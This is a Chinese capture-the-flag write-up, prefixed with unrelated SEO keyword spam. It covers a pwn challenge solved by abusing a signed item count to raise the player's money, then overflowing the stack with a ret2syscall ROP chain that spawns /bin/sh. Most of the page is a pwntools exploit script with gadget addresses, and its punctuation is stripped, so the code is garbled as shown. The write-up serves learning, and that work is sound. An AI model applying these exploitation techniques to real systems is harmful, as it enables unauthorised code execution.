protenus代做网站,专利申请,国外做图标网站,做网站引用别人的图片好久未做ret2syscall 一、题目分析 漏洞点#xff0c;栈溢出#xff1a; 然而到该漏洞点#xff0c;需要“花钱”买下店铺。个人所有的零钱不够。
利用整数溢出#xff08;emmmm这里应该不算溢出漏洞#xff0c;而是代码逻辑不规范#xff0c;商品个数不能为负数#x… 好久未做ret2syscall 一、题目分析 漏洞点栈溢出 然而到该漏洞点需要“花钱”买下店铺。个人所有的零钱不够。
利用整数溢出emmmm这里应该不算溢出漏洞而是代码逻辑不规范商品个数不能为负数但类型确实有符号整数可增加money 此外由于程序是静态链接的所有有大量丰富可利用的Gadget可供我们使用 还有一个细节 name在data段会复制一份我们输入的字节信息。我们可以在name中写入b’/bin/sh\x00….’而未开启PIE地址是固定的因此rdi的值’/bin/sh\x00’字符串地址就有了着落。
二、getshell思路
1、整数溢出增加money
2、“购买店铺”到漏洞点
3、构造payloadb’/bin/sh\x00’paddingret2syscall即可
三、exp
from pwn import *
from pwn import p64,u64context(archamd64,log_leveldebug)ioprocess(./pwn)
ioremote(node4.anna.nssctf.cn,28716)
elfELF(./pwn)
# gdb.attach(io)
# input()io.recvuntil(b)
io.sendline(b2)
io.recvuntil(3. 鸡肉串\n)
io.sendline(b2)
io.recvuntil(来几串\n)
io.sendline(b-100000)
io.recvuntil(b)
io.sendline(b4)
io.recvuntil(老板你这摊儿我买了\n)
io.recvuntil(成交\n)
io.recvuntil(b)
io.sendline(b5)
# 0x000000000040264f : pop rdi ; ret
# 0x000000000040a67e : pop rsi ; ret
# 0x0000000000402aae : pop rsp ; ret
# 0x0000000000401b01 : pop rbp ; ret
# 0x0000000000458827 : pop rax ; ret
# 0x00000000004a404b : pop rdx ; pop rbx ; ret
# 0x0000000000402404 : syscallrdi0x000000000040264f
rsi0x000000000040a67e
rdx_rbx0x0000000004a404b
rax0x0000000000458827
syscall0x0000000000402404
bss0x4e82c0# 0x4e6000 0x4e9000 rw-p
# 0x4e9000 0x510000 rw-p
# 一开始没注意到name这个data段上可写的变量想read一个/bin/sh\x00到bss段但是似乎失败了
# read(int fd, void *buf, size_t count);
# read(0,0x4ee000,0x100)
# fd0
# buf0x4ee000
# count0x100
# payloadp64(rdi)p64(fd)p64(rsi)p64(buf)p64(rdx_rbp)p64(0x100)p64(0)payloadb/bin/sh\x00ba*0x20
# execve(name,0,0)
name0x4E60F0
payloadp64(rdi)p64(name)p64(rsi)p64(0)p64(rdx_rbx)p64(0)p64(0)p64(rax)p64(59)p64(syscall)
io.recvuntil(请赐名\n)
io.sendline(payload)
io.interactive() 总结
回忆ret2syscall